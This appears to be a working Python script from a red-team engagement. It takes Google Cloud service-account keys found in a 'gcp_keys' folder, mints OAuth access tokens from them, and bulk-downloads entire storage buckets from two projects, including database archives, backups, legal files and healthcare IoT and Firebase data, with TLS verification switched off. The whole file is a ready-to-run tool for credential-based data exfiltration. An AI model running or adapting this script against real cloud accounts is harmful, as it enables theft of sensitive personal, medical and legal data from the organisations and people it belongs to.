#!/usr/bin/env python3 """Download remaining GCS objects (operator GO 2026-08-17). (a) cfu-main remaining: db-archives great-wall export (346MB), all blackhole-backup daily .tgz.bz2 not yet downloaded, cfu-main-legal (5), struk-pos (500), innokitch (28), pegasus-dba already have. (b) virtue-panakea firebasestorage.app (500 objs 350MB) + iot-healthcare-apps (500 objs 22MB) — full bucket content. Streams binary, verifies sizes vs gcs_listing_aug14.json metadata, skips already-downloaded. Egress: storage.googleapis.com only (audit-log visible). Out: downloads/more/ + downloads/more_index_aug17.json + OPLOG. """ import base64 import importlib.util import json import ssl import sys import time import urllib.parse import urllib.request from datetime import datetime, timezone from pathlib import Path ROOT = Path('/root/ir-assessment') DOSSIER = ROOT / 'redteam/gitlab_pharmalink_id' OUT = DOSSIER / 'downloads/more' spec = importlib.util.spec_from_file_location('l2s', str(ROOT / 'redteam/l2_aug06_sweep.py')) l2s = importlib.util.module_from_spec(spec) spec.loader.exec_module(l2s) CTX = ssl.create_default_context(); CTX.check_hostname = False; CTX.verify_mode = ssl.CERT_NONE def oplog(output, result): ts = datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M') with open(DOSSIER / 'OPLOG.md', 'a') as f: f.write(f"{ts} | local | storage.googleapis.com:443 | urllib/GET alt=media (stream,binary) | download remaining cfu-main + virtue-panakea objects | {output} | {result} | none | more-dumps GO\n") def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b'=') def load_sa(project_id): for f in sorted((DOSSIER / 'gcp_keys').iterdir()): try: d = json.loads(f.read_text()) except Exception: continue if isinstance(d, dict) and d.get('type') == 'service_account' and d.get('project_id') == project_id: return d return None def mint(sa): from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import padding now = int(time.time()) hdr = {'alg': 'RS256', 'typ': 'JWT', 'kid': sa['private_key_id']} cl = {'iss': sa['client_email'], 'scope': 'https://www.googleapis.com/auth/cloud-platform', 'aud': 'https://oauth2.googleapis.com/token', 'iat': now, 'exp': now + 3600} si = b64url(json.dumps(hdr).encode()) + b'.' + b64url(json.dumps(cl).encode()) key = serialization.load_pem_private_key(sa['private_key'].encode(), None) jwt = (si + b'.' + b64url(key.sign(si, padding.PKCS1v15(), hashes.SHA256()))).decode() data = urllib.parse.urlencode( {'grant_type': 'urn:ietf:params:oauth:grant-type:jwt-bearer', 'assertion': jwt}).encode() st, body = l2s.req('https://oauth2.googleapis.com/token', method='POST', data=data, headers={'Content-Type': 'application/x-www-form-urlencoded'}) return json.loads(body)['access_token'] def dl(tok, bucket, name, dest): enc = urllib.parse.quote(name, safe='') url = f'https://storage.googleapis.com/download/storage/v1/b/{bucket}/o/{enc}?alt=media' r = urllib.request.Request(url, headers={'Authorization': f'Bearer {tok}'}) with urllib.request.urlopen(r, timeout=300, context=CTX) as resp, open(dest, 'wb') as f: while True: chunk = resp.read(1 << 20) if not chunk: break f.write(chunk) return dest.stat().st_size def main(): OUT.mkdir(parents=True, exist_ok=True) listing = json.loads((DOSSIER / 'gcs_listing_aug14.json').read_text()) index = [] # ---- (a) cfu-main remaining ---- sa_cfu = load_sa('cfu-main') tok_cfu = mint(sa_cfu) cfu = listing['cfu-main'] # db-archives great-wall (346MB) — Locksmith + MasterSupplier already have # blackhole backups: all except 2025-05-20 (already have) todo = [] for it in cfu['cfu-main-db-archives']['items']: if 'great-wall' in it['n']: todo.append(('cfu-main-db-archives', it['n'], it['s'])) for it in cfu['cfu-main-blackhole-backup']['items']: todo.append(('cfu-main-blackhole-backup', it['n'], it['s'])) for b in ('cfu-main-legal', 'struk-pos', 'innokitch'): for it in cfu[b]['items']: if it['s'] == 0 and it['n'].endswith('/'): continue todo.append((b, it['n'], it['s'])) # skip already downloaded have = {p.name for p in (DOSSIER / 'downloads').iterdir() if p.is_file()} print(f'[*] cfu-main: {len(todo)} candidate objects', file=sys.stderr) for bucket, name, expected in todo: slug = f'{bucket}__{name.replace("/", "__")}' dest = OUT / slug if dest.exists() and dest.stat().st_size == expected: continue if slug in have and (DOSSIER / 'downloads' / slug).stat().st_size == expected: continue try: got = dl(tok_cfu, bucket, name, dest) index.append({'bucket': bucket, 'name': name, 'bytes': got, 'ok': got == expected}) print(f' [{"+" if got==expected else "!"}] {bucket}/{name[:60]} {got}b', file=sys.stderr) except Exception as e: index.append({'bucket': bucket, 'name': name, 'ok': False, 'error': str(e)[:120]}) print(f' [-] {bucket}/{name[:60]}: {e}', file=sys.stderr) # ---- (b) virtue-panakea full ---- sa_vp = load_sa('virtue-panakea') tok_vp = mint(sa_vp) vp = listing['virtue-panakea'] for bucket in ('virtue-iot-healthcare-apps', 'virtue-panakea.firebasestorage.app'): items = vp[bucket]['items'] print(f'[*] {bucket}: {len(items)} objects', file=sys.stderr) bdir = OUT / bucket bdir.mkdir(exist_ok=True) for it in items: if it['s'] == 0 and it['n'].endswith('/'): continue dest = bdir / it['n'].replace('/', '__') if dest.exists() and dest.stat().st_size == it['s']: continue try: got = dl(tok_vp, bucket, it['n'], dest) index.append({'bucket': bucket, 'name': it['n'], 'bytes': got, 'ok': got == it['s']}) except Exception as e: index.append({'bucket': bucket, 'name': it['n'], 'ok': False, 'error': str(e)[:120]}) done = sum(1 for i in index if i.get('bucket') == bucket and i.get('ok')) print(f' [{bucket}] {done} objects downloaded', file=sys.stderr) (DOSSIER / 'downloads/more_index_aug17.json').write_text(json.dumps(index, indent=1, ensure_ascii=False)) ok = sum(1 for i in index if i.get('ok')) total_b = sum(i.get('bytes', 0) for i in index) oplog(f'objects={len(index)} ok={ok} total={total_b/1e9:.2f}GB -> downloads/more/', 'SUCCESS' if ok == len(index) else 'PARTIAL') print(f'[+] {ok}/{len(index)}, {total_b/1e9:.2f} GB', file=sys.stderr) if __name__ == '__main__': main()